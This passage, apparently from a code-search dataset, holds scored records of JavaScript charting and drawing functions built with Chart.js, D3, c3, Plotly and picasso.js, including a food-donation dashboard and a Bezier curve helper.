tarifai\",\n\t\t\t\t\t\tfillColor: \"rgba(84,59,13, 0.4)\",\n\t\t\t\t\t\tstrokeColor: \"rgba(212,203,188,1)\",\n\t\t\t\t\t\tpointColor: \"rgba(212,203,188,1)\",\n\t\t\t\t\t\tpointStrokeColor: \"#fff\",\n\t\t\t\t\t\tpointHighlightFill: \"#fff\",\n\t\t\t\t\t\tpointHighlightStroke: \"rgba(212,203,188,1)\",\n\t\t\t\t\t\tdata: atliekTarifai\n\t\t\t\t\t};\n\t\t\t\t\tdataset.push(dataObj)\n\t\t\t\t}\n\t\t\t\tif ((liftuPriezTarifai.reduce(function(a, b){ return a + b })) > 0) {\n\t\t\t\t\tvar dataObj = {\n\t\t\t\t\t\tlabel: \"Lifto techninės priežiūros tarifai Eur/m²\",\n\t\t\t\t\t\tfillColor: \"rgba(151, 187, 205, 1)\",\n\t\t\t\t\t\tstrokeColor: \"rgba(151, 187, 205, 1)\",\n\t\t\t\t\t\tpointColor: \"rgba(151, 187, 205, 1)\",\n\t\t\t\t\t\tpointStrokeColor: \"#fff\",\n\t\t\t\t\t\tpointHighlightFill: \"#fff\",\n\t\t\t\t\t\tpointHighlightStroke: \"rgba(151,187,205,1)\",\n\t\t\t\t\t\tdata: liftuPriezTarifai\n\t\t\t\t\t};\n\t\t\t\t\tdataset.push(dataObj)\n\t\t\t\t}\n\t\t\t\tif ((namoPriezTarifai.reduce(function(a, b){ return a + b })) > 0) {\n\t\t\t\t\tvar dataObj = {\n\t\t\t\t\t\tlabel: \"Namo techninės priežiūros tarifai Eur/m²\",\n\t\t\t\t\t\tfillColor: \"rgba(154, 195, 146, 1)\",\n\t\t\t\t\t\tstrokeColor: \"rgba(154, 195, 146, 1)\",\n\t\t\t\t\t\tpointColor: \"rgba(154, 195, 146, 1)\",\n\t\t\t\t\t\tpointStrokeColor: \"#fff\",\n\t\t\t\t\t\tpointHighlightFill: \"#fff\",\n\t\t\t\t\t\tpointHighlightStroke: \"rgba(220, 220, 220, 1)\",\n\t\t\t\t\t\tdata: namoPriezTarifai\n\t\t\t\t\t};\n\t\t\t\t\tdataset.push(dataObj)\n\t\t\t\t}\n\t\t\t\tif ((namoSildPriezTarifai.reduce(function(a, b){ return a + b })) > 0) {\n\t\t\t\t\tvar dataObj = {\n\t\t\t\t\t\tlabel: \"Namo šildymo sistemų priežiūros tarifai Eur/m²\",\n\t\t\t\t\t\tfillColor: \"rgba(222, 135, 71, 1)\",\n\t\t\t\t\t\tstrokeColor: \"rgba(222, 135, 71, 1)\",\n\t\t\t\t\t\tpointColor: \"rgba(222, 135, 71, 1)\",\n\t\t\t\t\t\tpointStrokeColor: \"#fff\",\n\t\t\t\t\t\tpointHighlightFill: \"#fff\",\n\t\t\t\t\t\tpointHighlightStroke: \"rgba(222, 135, 71, 1)\",\n\t\t\t\t\t\tdata: namoSildPriezTarifai\n\t\t\t\t\t};\n\t\t\t\t\tdataset.push(dataObj)\n\t\t\t\t}\n\t\t\t\treturn dataset;\n\t\t\t}", "title": "" }, { "docid": "f42016734cbee712b5be0c46af804fd6", "score": "0.54645634", "text": "function drawClover(data, i) {\n let offset = 40\n let clover = svg.append('g')\n .attr('id', 'clover' + i)\n //.attr('class', 'clover')\n .attr('x', data[0].x)\n .attr('y', data[0].y)\n\n //disegno la foglia in alto a sx\n clover.selectAll('clover.topSx')\n .data(data)\n .enter()\n .append('circle')\n .attr('class', 'topSx')\n .attr('cx', function (d) { return d.x - offset })\n .attr('cy', function (d) { return d.y - offset })\n .attr('r', function (d) { return d.topSx })\n .style('stroke', 'black')\n .style('stroke-width', 2)\n .style('fill', '#008000')\n\n //disegno la foglia in alto a destra\n clover.selectAll('clover.topDx')\n .data(data)\n .enter()\n .append('circle')\n .attr('class', 'topDx')\n .attr('cx', function (d) { return d.x + offset })\n .attr('cy', function (d) { return d.y - offset })\n .attr('r', function (d) { return d.topDx })\n .style('stroke', 'black')\n .style('stroke-width', 2)\n .style('fill', '#008000')\n\n //disegno la foglia in basso s sinistra\n clover.selectAll('clover.bottomSx')\n .data(data)\n .enter()\n .append('circle')\n .attr('class', 'bottomSx')\n .attr('cx', function (d) { return d.x - offset })\n .attr('cy', function (d) { return d.y + offset })\n .attr('r', function (d) { return d.bottomSx })\n .style('stroke', 'black')\n .style('stroke-width', 2)\n .style('fill', '#008000')\n\n //diesgno la foglia in basso a destra\n clover.selectAll('clover.bottomDx')\n .data(data)\n .enter()\n .append('circle')\n .attr('class', 'bottomDx')\n .attr('cx', function (d) { return d.x + offset })\n .attr('cy', function (d) { return d.y + offset })\n .attr('r', function (d) { return d.bottomDx })\n .style('stroke', 'black')\n .style('stroke-width', 2)\n .style('fill', '#008000')\n\n //disegno il gambo\n // clover.selectAll('.gambo')\n // .data(data)\n // .enter()\n // .append('path')\n // .attr('class', 'gambo')\n // .attr(\"transform\", \"rotate(270)\")\n // .attr('d', function (d) {\n // let path = '';\n // let x1 = data[0].x ; \n // let y1 = data[0].y ;\n // let x2 = -data[0].x ;\n // path += 'M' + x1 + ' ' + y1 + ' ' + 'h' + x2;\n // return path;\n // })\n // .style('stroke', '#17921c')\n // .style('stroke-width', 2);\n}", "title": "" }, { "docid": "6fa00010e4e220d7ae6dbe9a52e3693a", "score": "0.5371439", "text": "generateChart(parent,data,name) {\n \n let templates=webutil.getTemplates();\n let newid=webutil.createWithTemplate(templates.bisscrolltable,$('body'));\n let stable=$('#'+newid);\n const self=this;\n \n let buttoncoords = {};\n let callback = (e) => {\n let id=e.target.id;\n if (!id) {\n id=e.target.parentElement.id;\n if (!id)\n id=e.target.parentElement.parentElement.id;\n console.log('id=',id);\n }\n let coordinate=buttoncoords[id];\n self.VIEWERS[0].setcoordinates([coordinate[0], coordinate[1], coordinate[2]]);\n };\n \n let thead = stable.find(\".bisthead\");\n let tbody = stable.find(\".bistbody\",stable);\n \n thead.empty();\n tbody.empty();\n tbody.css({'font-size':'11px',\n 'user-select': 'none'});\n thead.css({'font-size':'12px',\n 'user-select': 'none'});\n \n \n let hd=$(`<tr>\n <td width=\"5%\">#</td>\n <td width=\"25%\">${name}-Coords</td>\n <td width=\"15%\">Size</td>\n <td width=\"20%\">ClusterP</td>\n <td width=\"20%\">CorrectP</td>\n <td width=\"15%\">MaxT</td>\n </tr>`);\n thead.append(hd);\n\n for (let i=0;i<data.length;i++) {\n\n let index=data[i].index;\n let size=data[i].size;\n let coords=data[i].coords.join(',');\n \n let clusterP=Number.parseFloat(data[i].clusterPvalue).toFixed(4);\n let correctP=Number.parseFloat(data[i].correctPvalue).toFixed(4);\n let maxt=Number.parseFloat(data[i].maxt).toFixed(3);\n let nid=webutil.getuniqueid();\n let w=$(`<tr>\n <td width=\"5%\">${index}</td>\n <td width=\"25%\"><span id=\"${nid}\" class=\"btn-link\">${coords}</span></td>\n <td width=\"15%\">${size}</td>\n <td width=\"20%\">${clusterP}</td>\n <td width=\"20%\">${correctP}</td>\n <td width=\"15%\">${maxt}</td>\n </tr>`);\n tbody.append(w);\n $('#'+nid).click(callback);\n buttoncoords[nid]=data[i].coords;\n }\n \n parent.append(stable);\n }", "title": "" }, { "docid": "4c465852d029cb8c68df92291ce9b554", "score": "0.52764857", "text": "function pie_chart(bind_id,height,width,columns){\n var chart = c3.generate({\n bindto: bind_id,\n size: {\n height: height,\n width: width\n },\n data: {\n columns:\n columns,\n type : 'pie',\n },\n legend: {\n position: 'bottom'\n },\n pie: {\n onclick: function (d, i) { console.log(d, i); },\n onmouseover: function (d, i) { console.log(d, i); },\n onmouseout: function (d, i) { console.log(d, i); }\n }\n }); \n}", "title": "" }, { "docid": "fe6a0fe809ecdcc72c5bea698b60cdfc", "score": "0.52636725", "text": "function line_chart(bind_id,height, width, labelX, labelY, columns, xLabelsRotateDegree, xLabelHeight, culling_max){\n var chart = c3.generate({\n bindto: bind_id,\n size: {\n height: height,\n width: width\n },\n data: { \n x : 'x',\n columns:\n columns \n },\n legend: {\n position: 'right'\n },\n axis: { \n y: {\n label: labelY\n },\n x: {\n label: labelX,\n type: 'category', \n tick: {\n rotate: xLabelsRotateDegree,\n culling: {\n max: culling_max // the number of tick texts will be adjusted to less than this value\n }\n },\n height: xLabelHeight\n },\n }\n }); \n }", "title": "" }, { "docid": "63b8d9c983899eed9d4286becba1a286", "score": "0.52598584", "text": "function ChartBuddy()\r\n{\r\n}", "title": "" }, { "docid": "1a3193e8e2daf85b33904859202aea65", "score": "0.5215887", "text": "function createBC(){\n \n \n }", "title": "" }, { "docid": "16b28b571286a8628e70d86c4f77687d", "score": "0.5167471", "text": "function makecir(x,y,col,number) {\n var cls = classofxy(x,y);\n var newcls = \"c\" + col + number;\n document.getElementById(x + \"-\" + y).className = \"\";\n document.getElementById(x + \"-\" + y).className = newcls; \n}", "title": "" }, { "docid": "b401c0374847b7856fa5761d655da4b4", "score": "0.51641285", "text": "function curvas_bezier_aux(puntos_control,cant_disc,puntos){\n for (var t = 0.0; t < 1.0; t += 1.0 /cant_disc){\n var punto = bezier(t,puntos_control);\n puntos.push(punto);\n }\n return puntos;\n}", "title": "" }, { "docid": "23fdcfcceba72495e59edeb66a0618b9", "score": "0.51532257", "text": "function brushed() {\n xScale.domain(brush.empty() ? xScale2.domain() : brush.extent());\n focus.select(\".area\").attr(\"d\", area);\n focus.select(\".x.axis\").call(xAxis);\n\n mytemps.forEach(function(tempKey) {\n\n //console.log(tempKey);\n var newdots = focuscircgrp\n .selectAll(dotClassMap[tempKey])\n .attr('cx', function(d) { return xScale(d.date); })\n .attr('cy', function(d) { return yScale(d[tempKey]); });\n });\n\n/* focuscircgrp.selectAll(\".dot\")\n .attr(\"cx\", function(d) { return xScale(d.date); })\n .attr(\"cy\", function(d) { return yScale(d.gratingTemp); }); */\n}", "title": "" }, { "docid": "0113bf5af1ef150fb581fbd66d514c09", "score": "0.5127515", "text": "function Cnds() {}", "title": "" }, { "docid": "796d4e335c1948e937c564b67eedacfd", "score": "0.5119504", "text": "function curvas_bezier(puntos_control,cant_disc){\n var puntos = [];\n var normal = [];\n var cant_curvas = puntos_control.length / 4;\n for (var i = 0; i < puntos_control.length; i += 4){\n curvas_bezier_aux(puntos_control.slice(i,i+4),cant_disc / cant_curvas,puntos);\n normales(puntos_control.slice(i,i+4),cant_disc / cant_curvas,normal);\n }\n return [puntos,normal];\n}", "title": "" }, { "docid": "cf7a3f2ae68bce2d66ad481d405765fa", "score": "0.5100479", "text": "function baseBorderElement() {\n\n // Bordo Esterno\n var p00 = [[1,0],[Math.cos(PI/24),Math.sin(PI/24)],[0,.23],[-.031,.25]];\n var p0 = [[Math.cos(PI/24),Math.sin(PI/24)],[Math.cos(PI*3/32),Math.sin(PI*3/32)],[-.031,.25],[-.015,.07]];\n var p1 = [[1,0],[Math.cos(PI/2 + PI/37)*3/5,Math.sin(PI/2 + PI/37)*3/5],[.01,.9],[-Math.cos(PI/37)*1.66,-Math.sin(PI/37)*1.66]];\n \n // Bordo Intermedio\n var p2 = [[0,0],[-.055,0],[0,0],[0,0]];\n var p3 = [[-.055,0],[-.055,.1],[0,0],[0,0]];\n var p4 = [[1,0],[0,1],[0,1.66],[-1.66,0]];\n var p6 = [[-.055,.25],[-.055,.35],[0,0],[0,0]];\n var p7 = [[-.055,.35],[-.155,.35],[0,0],[0,0]];\n\n // Colonna interna\n var p9 = [[1,0],[0,1],[0,1.66],[-1.66,0]];\n\n // Bordo Interno\n var p11 = [[0,0],[-.155,0],[0,0],[0,0]];\n var p12 = [[-.155,0],[-.155,-.02],[0,0],[0,0]];\n var p13 = [[-.155,-.02],[-.06,-.02],[0,0],[0,0]];\n var p14 = [[-.06,-.02],[-.06,-.03],[0,0],[0,0]];\n var p15 = [[-.06,-.03],[-0.016,-.04],[.03,0],[0,-.005]];\n\n var c00 = MAP(CUBIC_HERMITE(S0)(p00))(domain1);\n\n var c0 = MAP(CUBIC_HERMITE(S0)(p0))(domain1);\n var c1 = MAP(CUBIC_HERMITE(S0)(p1))(domain1);\n\n var c2 = MAP(CUBIC_HERMITE(S0)(p2))(domain1);\n var c3 = MAP(CUBIC_HERMITE(S0)(p3))(domain1);\n\n var c4 = MAP(CUBIC_HERMITE(S0)(p4))(domain1);\n\n var c6 = MAP(CUBIC_HERMITE(S0)(p6))(domain1);\n var c7 = MAP(CUBIC_HERMITE(S0)(p7))(domain1);\n\n var c9 = MAP(CUBIC_HERMITE(S0)(p9))(domain1);\n\n var c11 = MAP(CUBIC_HERMITE(S0)(p11))(domain1);\n var c12 = MAP(CUBIC_HERMITE(S0)(p12))(domain1);\n var c13 = MAP(CUBIC_HERMITE(S0)(p13))(domain1);\n var c14 = MAP(CUBIC_HERMITE(S0)(p14))(domain1);\n var c15 = MAP(CUBIC_HERMITE(S0)(p15))(domain1);\n\n var t4 = T([0,1])([-.055,.175])(R([0,1])([-PI/2])(S([0,1])([.075,.075])(c4)));\n var t5 = T([1])([.35])(S([1])([-1])(t4));\n\n var t8 = T([0,1])([-.055,.405])(R([0,1])([PI/2])(t4));\n\n var t9 = T([0,1])([-.155,.1])(S([0,1])([.02,.02])(STRUCT(REPLICA(4)([c9,R([0,1])([PI/2])]))));\n var t10 = T([1])([.15])(t9);\n\n var t16 = T([1])([-.12])(S([0,1])([.8,.8])(t9));\n\n var e1 = T([0,1])([Math.cos(PI*3/32),Math.sin(PI*3/32)])(R([0,1])([PI*3/32])(T([1])([1/10])(R([0,1])([-PI/2])(S([0,1])([1/10,1/10])(c1)))));\n var e2 = T([0])([.6])(R([0,1])([-(PI/2 - PI/8)])(STRUCT([c2,c3,t4,t5,c6,c7,t8,t9,t10,c11,c12,c13,c14,c15,t16])));\n var e3 = S([0,1])([.95,.95])(STRUCT([c00,c0,e1]));\n\n //DRAW(STRUCT([e3,e2]));\n\n return STRUCT([e3,e2]);\n}", "title": "" }, { "docid": "2dd8785aaa06148d6d973b16c7966d64", "score": "0.5070805", "text": "constructBubbles() {\n let { data, margin, x, y, radius } = this,\n rows = data.categories,\n columns = data.cards,\n bubbles = this.chart.append('g')\n .attr('class', 'bubbles')\n .attr('transform', `translate(${margin.left}, 0)`);\n\n let { colourScale, colours } = this.getColourInterpolation('#6CAEFA', '#1567c4');\n\n for (let i = 0; i < rows.length; i++) {\n let row = rows[i],\n bubble = bubbles.append('g')\n .attr('class', 'row')\n .selectAll('circle')\n .data(row.values)\n .enter();\n\n bubble.append('circle')\n .attr('class', (_, idx) => `bubble ${row.category} ${columns[idx]}`)\n .attr('data-value', (_, idx) => row.values[idx])\n .attr('cy', () => y(i))\n .attr('cx', (_, idx) => x(idx) + margin.left)\n .attr('fill', data => colours(colourScale(data)))\n .attr('r', data => radius(data));\n\n let amountCircle = bubble.append('g')\n .attr('class', (_, idx) => `amount ${row.category} ${columns[idx]}`)\n .attr('transform', (_, idx) => `translate(${x(idx) + margin.left}, ${y(i)})`);\n\n amountCircle.append('circle')\n .attr('fill', '#000')\n .attr('r', 13);\n\n amountCircle.append('text')\n .attr('text-anchor', 'middle')\n .attr('fill', '#fff')\n .attr('y', '1%')\n .text((_, idx) => row.values[idx]);\n }\n }", "title": "" }, { "docid": "b183f29ee052b0b568b0171352318771", "score": "0.5029068", "text": "function showInfo(data, tabletop) {\n//alert(\"Successfully processed!\")\n//console.log(data);\n\nfor (var i = 0; i < data.length; i++) {\n agents.push(data[i].Agent);\n call_counts.push(data[i]['Call Count']);\n //console.log(agents);\n //console.log(call_counts);\n}\n\nvar chart = c3.generate({\n bindto: '#chart',\n padding: {\n // left: 120\n // top: 40,\n // right: 100,\n // bottom: 40,\n // left: 200,\n },\n data: {\n type: 'bar',\n x: 'x',\n columns: [\n agents,\n call_counts\n ],\n labels: true,\n colors: {\n 'Call Count': '#ff9933',\n }\n },\n axis: {\n y: {\n label: {\n text : \"Call Count\", //to be passed\n position: \"outer-center\",\n\n }\n },\n rotated: true,\n x: {\n label: {\n text : \"Agent\", //to be passed\n position: \"outer-middle\"\n },\n type: 'category'\n }\n },\n bar: {\n zerobased: true\n // width: {\n // ratio: 0.75 // this makes bar width 50% of length between ticks\n // }\n // or\n //width: 100 // this makes bar width 100px\n },\n legend: {\n show: false\n }\n});\n\n// TODO: Load data dynamically\n// setTimeout(function () {\n// agents = [];\n// agents.push(\"x\");\n// call_counts = [];\n// call_counts.push(\"Call Count\");\n// // var public_spreadsheet_url = 'https://docs.google.com/spreadsheets/d/1lvQ3NGvU7PGbPWwuYzccblFPCnY-ln00EJO0IO1Bacc/pubhtml?gid=1925952226&single=true';\n// var public_spreadsheet_url = 'https://docs.google.com/spreadsheets/d/1hriSgPMcEnjEOaAZ3d0gGMPtkt_dUU1edTkspvoveDk/pubhtml?gid=0&single=true';\n// Tabletop.init( { key: public_spreadsheet_url, callback: showInfo, simpleSheet: true } )\n// chart.load({\n// type: 'bar',\n// x: 'x',\n// columns: [\n// agents,\n// call_counts\n// ]\n// });\n// console.log(\"chart.load running...\")\n// }, 10000);\n\n// Fit to screen\n var screenHeight = Math.floor(screen.height*0.55);\n var screenWidth = Math.floor(screen.width*0.90);\nconsole.log(\"Height: \" + screenHeight+ \", Width: \" + screenWidth);\nchart.resize({height:screenHeight, width:screenWidth});\n//d3.selectAll(\".c3-text\").className += \"animated pulse dataValues\";\n//$( \"c3-text\" ).addClass( \"animated pulse dataValues\" );\n\n// chart.resize({height:screenHeight-100});\n// d3.selectAll(\".c3-axis-y .tick text\").attr(\"y\",3);\n}", "title": "" }, { "docid": "7ea1ca47ca724149fcae7070fbfa8ddb", "score": "0.5007208", "text": "function cpt() {\n d3.select(\"#CPT\").text(\"\");\n if (marked.length > 4) return;\n var width = document.getElementById(\"CPT\").offsetWidth;\n var height = document.getElementById(\"CPT\").offsetHeight;\n\n var canvas = d3.select(\"CPT\").append(\"svg\")\n .attr(\"width\", \"100%\")\n .attr(\"height\", \"100%\")\n .append(\"g\");\n\n // color array for rows\n colors = [\n '#386cb0',\n '#7fc97f',\n '#fdc086',\n '#beaed4'\n ];\n\n for (var i = 0; i < marked.length; i++) {\n //call function for each marked node\n data_write(marked[i]);\n }\n \n // search for node in graphs[i] and prepare probabilities for table -\n function data_write(marked_node) {\n\n var data = [];\n var node_name = \"\";\n\n for (var i = 0; i < graphs.length; i++) {\n for (var key in graphs[i]) {\n var push_array = [];\n push_array.push(\"Graph\" + (i + 1));\n\n if (marked_node.node[0] == graphs[i][key].node[0]) {\n node_name = marked_node.node[0];\n var node11 = graphs[i][key].prob[0];\n var node12 = graphs[i][key].prob[1];\n push_array.push(node11);\n push_array.push(node12);\n data.push(push_array);\n }\n }\n }\n\n if (data.length > 0) document.getElementById(\"CPT\").appendChild(g(data, node_name));\n };\n //\t------------------------------------------------------------------\n\n //\tcreate row or column, if element is not a number, if number write in table\n function f(elem, direction = \"col\") {\n\n if (typeof (elem) === \"number\") {\n var div =\n\n document.createElement(\"div\");\n div.innerHTML = elem.toString();\n\n return div;\n } else {\n var table = document.createElement(\"table\");\n table.style.width = \"100%\";\n\n var tbody = document.createElement(\"tbody\");\n\n // if last direction col, then create row\n if (direction === \"col\") {\n var tr = document.createElement(\"tr\");\n\n var td1 = document.createElement(\"td\");\n td1.appendChild(f(elem[0], \"row\"));\n tr.appendChild(td1);\n\n var td2 = document.createElement(\"td\");\n td2.appendChild(f(elem[1], \"row\"));\n tr.appendChild(td2);\n\n tbody.append(tr);\n } else // if last direction row, then create column \n {\n var tr1 = document.createElement(\"tr\");\n var td1 = document.createElement(\"td\");\n td1.appendChild(f(elem[0], \"col\"));\n tr1.appendChild(td1);\n tbody.append(tr1);\n\n var tr2 = document.createElement(\"tr\");\n var td2 = document.createElement(\"td\");\n td2.appendChild(f(elem[1], \"col\"));\n tr2.appendChild(td2);\n tbody.append(tr2);\n }\n\n table.append(tbody);\n return table;\n\n }\n }\n //\t------------------------------------------------------------------\n\n //\tcreate table head with nodename and states, write graphnumber and color\n function g(data, name) {\n\n var table = document.createElement(\"table\");\n\n var thead = document.createElement(\"thead\");\n var tr_head = document.createElement(\"tr\");\n\n // column node\n var th_node = document.createElement(\"th\");\n th_node.innerHTML = name;\n th_node.style.cursor = \"default\";\n tr_head.appendChild(th_node);\n\n // column true\n var th_true = document.createElement(\"th\");\n th_true.innerHTML = states[0];\n th_true.style.cursor = \"default\";\n tr_head.appendChild(th_true);\n\n // column false\n var th_false = document.createElement(\"th\");\n th_false.innerHTML = states[1];\n th_false.style.cursor = \"default\";\n tr_head.appendChild(th_false);\n\n thead.appendChild(tr_head);\n table.appendChild(thead);\n\n var tbody = document.createElement(\"tbody\");\n\n for (var i = 0; i < data.length; i++) {\n\n // graphnumber\n var tr = document.createElement(\"tr\");\n var color_index = data[i][0].slice(5);\n tr.style.backgroundColor = colors[color_index - 1];\n tr.style.cursor = \"default\";\n\n // probabilities\n var td_node = document.createElement(\"td\");\n td_node.innerHTML = data[i][0];\n td_node.style.cursor = \"default\";\n tr.appendChild(td_node);\n\n\n var td_true = document.createElement(\"td\");\n td_true.appendChild(f(data[i][1]));\n tr.appendChild(td_true);\n\n var td_false = document.createElement(\"td\");\n td_false.appendChild(f(data[i][2]));\n tr.appendChild(td_false);\n\n tbody.appendChild(tr);\n\n }\n\n table.append(tbody);\n return table;\n\n };\n\n}", "title": "" }, { "docid": "7af71b7d5899167abd0b75d1d90ef08e", "score": "0.49832466", "text": "function makeGraph(data){\r\n allData[0]=[];\r\n for(var i=0;i<data.length;i++){\r\n allData[0].push([]);\r\n for(var j=0;j<data[i].length;j++){\r\n allData[0][i][j]=data[i][j];\r\n }\r\n }\r\n /*graph*/\r\n var donors={};\r\n var graphs=[];\r\n data.sort(sortData);\r\n var dateRange=\r\n new Date(Date.parse(data[data.length-1][rows.date])).toString().split(' ').splice(0,4).join(' ')+' - '+\r\n new Date(Date.parse(data[0][rows.date])).toString().split(' ').splice(0,4).join(' ');//create the string for the date range\r\n for(var i=0,l=data.length;i<l;i++){\r\n //turn the donation amount strings into floats\r\n data[i][rows.donation[donationType]]=parseFloat(data[i][rows.donation[donationType]]);\r\n \r\n //create donors which figures out an individual donor's contribution over the month\r\n if(donors.hasOwnProperty(data[i][rows.company])){\r\n donors[data[i][rows.company]].gave+=data[i][rows.donation[donationType]];\r\n }\r\n else{\r\n donors[data[i][rows.company]]={gave:data[i][rows.donation[donationType]],type:data[i][rows.type]}\r\n }\r\n }\r\n \r\n var types={};\r\n for(var i in donors){\r\n if(types.hasOwnProperty(donors[i].type)){\r\n types[donors[i].type].gave+=donors[i].gave;\r\n }\r\n else{\r\n types[donors[i].type]={gave:donors[i].gave,total:0};\r\n }\r\n }\r\n var n=0;\r\n for(var i in types){\r\n types[i].id=graphs.length;\r\n var color=goodColors[n];\r\n n++;\r\n graphs.push({\r\n x:[],\r\n y:[],\r\n fill: 'tozeroy',\r\n type: 'scatter',\r\n name: i+' ('+donationTypes[donationType]+')',\r\n fillcolor:'rgba('+color+',0.6)',\r\n line:{\r\n color:'rgb('+color+')'\r\n }\r\n });\r\n }\r\n \r\n for(var i=data.length-1;i>=0;i--){\r\n for(var thisType in types){\r\n if(types[thisType].id<=types[data[i][rows.type]].id){\r\n types[thisType].total+=data[i][rows.donation[donationType]];\r\n }\r\n }\r\n if(i==0||data[i-1][rows.date]!==data[i][rows.date]){\r\n for(var thisType in types){\r\n graphs[types[thisType].id].x.push(data[i][rows.date]);\r\n graphs[types[thisType].id].y.push(types[thisType].total);\r\n }\r\n }\r\n }//add graph data\r\n \r\n for(var i=0;i<goals.length;i++){\r\n graphs.push({\r\n x:[data[0][rows.date],data[data.length-1][rows.date]],\r\n y:[goals[i][1],goals[i][1]],\r\n mode:'lines',\r\n fill: 'tozeroy',\r\n name:goals[i][0],\r\n fillcolor:goals[i][2],\r\n mode:'none'\r\n });\r\n }//add goal lines\r\n var layout = {\r\n xaxis: {fixedrange: true},\r\n yaxis: {fixedrange: true},\r\n title: 'Compound Food Donations from '+dateRange,\r\n height:700,\r\n };\r\n Plotly.newPlot('area',graphs,layout, {responsive: true});\r\n /*scatter donor graph*/\r\n var graphs=[];\r\n var donorIndexes=[];\r\n for(var donor in donors){\r\n graphs.push({\r\n x:[],\r\n y:[],\r\n mode: 'markers',\r\n name: donor+' ('+donationTypes[donationType]+')',\r\n });\r\n donorIndexes.push(donor);\r\n }\r\n for(var i=data.length-1;i>=0;i--){\r\n\tif(donorIndexes.indexOf(data[i][rows.company])>=0){\r\n\t\tgraphs[donorIndexes.indexOf(data[i][rows.company])].x.push(data[i][rows.date]);\r\n\t\tgraphs[donorIndexes.indexOf(data[i][rows.company])].y.push(data[i][rows.donation[donationType]]);\r\n\t}\r\n }\r\n var layout = {\r\n //xaxis: {fixedrange: true},\r\n //yaxis: {fixedrange: true},\r\n title: 'Donator Food Donations from '+dateRange,\r\n height:700,\r\n };\r\n Plotly.newPlot('scatter',graphs,layout, {responsive: true});\r\n /*pies*/\r\n var thePie = [{\r\n values: [],\r\n labels: [],\r\n type: 'pie',\r\n }];\r\n \r\n var total=0;\r\n for(var i in donors){\r\n total+=donors[i].gave;\r\n }\r\n var other=0;\r\n for(var i in donors){\r\n if(donors[i].gave<total/100){\r\n other+=donors[i].gave;\r\n }\r\n else{\r\n thePie[0].values.push(donors[i].gave);\r\n thePie[0].labels.push(i);\r\n thisMonthData[i]=donors[i].gave;\r\n }\r\n }\r\n thePie[0].values.push(other);\r\n thePie[0].labels.push('other');\r\n thisMonthData.other=other;\r\n layout={\r\n title: 'Food Donations from '+dateRange+' by Donator ('+donationTypes[donationType]+')',\r\n height:700,\r\n };\r\n Plotly.newPlot('pie', thePie,layout, {responsive: true});\r\n /*types*/\r\n var thePie2 = [{\r\n values: [],\r\n labels: [],\r\n type: 'pie'\r\n }];\r\n \r\n for(var i in types){\r\n thePie2[0].values.push(types[i].gave);\r\n thePie2[0].labels.push(i);\r\n }\r\n layout={\r\n title: 'Food Donations from '+dateRange+' by Donator Type ('+donationTypes[donationType]+')',\r\n height:700,\r\n };\r\n Plotly.newPlot('Dtypes', thePie2,layout, {responsive: true});\r\n /*bubble map*/\r\n var mapData=[{\r\n type:'scattermapbox',\r\n lat:[],\r\n lon:[],\r\n mode:'markers',\r\n marker: {\r\n size:14\r\n },\r\n text:['Montreal'],\r\n }];\r\n var layout = {\r\n autosize: true,\r\n hovermode:'closest',\r\n height:700,\r\n mapbox: {\r\n bearing:0,\r\n center: {\r\n lat:33.4483771,\r\n lon:-112.07403729999999\r\n },\r\n pitch:0,\r\n zoom:4\r\n },\r\n }\r\n Plotly.setPlotConfig({\r\n mapboxAccessToken: 'pk.eyJ1IjoiZXRwaW5hcmQiLCJhIjoiY2luMHIzdHE0MGFxNXVubTRxczZ2YmUxaCJ9.hwWZful0U2CQxit4ItNsiQ'\r\n })\r\n Plotly.plot('map', mapData, layout, {responsive: true})\r\n}", "title": "" }, { "docid": "de0fc321f95af3c21737eda2f2db6c4c", "score": "0.49769324", "text": "function makeButtons() {\n addClusterButton(2);\n addClusterButton(3);\n addClusterButton(4);\n addClusterButton('circle');\n addClusterButton('moon');\n}", "title": "" }, { "docid": "45e6a137410b14cad078be07d7c1adb0", "score": "0.49551326", "text": "function buildComplaints(){ \n\n //bar widths\n svg.selectAll(\".bar\")\n .data(data)\n .transition()\n .attr(\"class\", \"bar bar-complaints\")\n .attr(\"x\", 0)\n .attr(\"width\", function(d){ return x(d.complaints); })\n .attr(\"y\", function(d){ return y(d.company); })\n .attr(\"height\", y.rangeBand());\n\n //value labels\n svg.selectAll(\".label\")\n .data(data)\n .transition()\n .attr(\"class\", \"label label-complaints\")\n .text(function(d) { return d.complaints })\n .attr(\"y\", function(d){ return y(d.company) + (y.rangeBand()/2); })\n .attr(\"x\", function(d){ return x(d.complaints) + 3; })\n .attr(\"dy\", 3);\n\n //re add company names\n svg.select(\".y.axis\")\n .call(yAxis)\n .transition()\n .attr(\"text-anchor\", \"end\")\n .selectAll(\".tick text\")\n .call(wrap, margin.left);\n\n }", "title": "" }, { "docid": "23cb70110a407f734ca0017a5a94351b", "score": "0.49448162", "text": "function buildChart(ifas, funds) {\n picasso.chart({\n element: document.getElementById(\"charting\").querySelector(\"#barchart\"),\n data: [\n {\n type: \"bar\",\n data: chartData,\n },\n ],\n settings: {\n scales: {\n y: {\n data: { field: \"Sales\" },\n invert: true,\n include: [0],\n },\n c: {\n data: { field: \"Sales\" },\n type: \"color\",\n },\n t: { data: { extract: { field: \"Year\" } }, padding: 0.3 },\n },\n components: [\n {\n type: \"text\",\n text: \"Chart showing total sales of select IFAs in select Funds by Year\",\n dock: \"top\",\n layout: { displayOrder: 3 },\n style: {\n text: {\n fontSize: \"150%\",\n },\n },\n },\n {\n type: \"text\",\n text: \"IFAs Included: \" + ifas,\n dock: \"top\",\n layout: { displayOrder: 2 },\n },\n {\n type: \"text\",\n text: \"Funds Included: \" + funds,\n dock: \"top\",\n layout: { displayOrder: 1 },\n },\n {\n type: \"axis\",\n scale: \"y\",\n dock: \"left\",\n },\n {\n type: \"text\",\n text: \"Total Sales (£)\",\n dock: \"left\",\n },\n {\n type: \"axis\",\n scale: \"t\",\n dock: \"bottom\",\n },\n {\n type: \"text\",\n text: \"Year\",\n dock: \"bottom\",\n },\n {\n type: \"grid-line\",\n x: {\n scale: \"x\",\n },\n y: {\n scale: \"y\",\n },\n ticks: {\n show: true,\n stroke: \"grey\",\n strokeWidth: 1,\n strokeDasharray: \"3,3\",\n },\n },\n {\n key: \"bars\",\n type: \"box\",\n layout: { displayOrder: 1 },\n data: {\n extract: {\n field: \"Year\",\n props: {\n start: 0,\n end: { field: \"Sales\" },\n },\n },\n },\n settings: {\n major: { scale: \"t\" },\n minor: { scale: \"y\" },\n box: {\n fill: { scale: \"c\", ref: \"end\" },\n },\n },\n },\n {\n type: \"labels\",\n 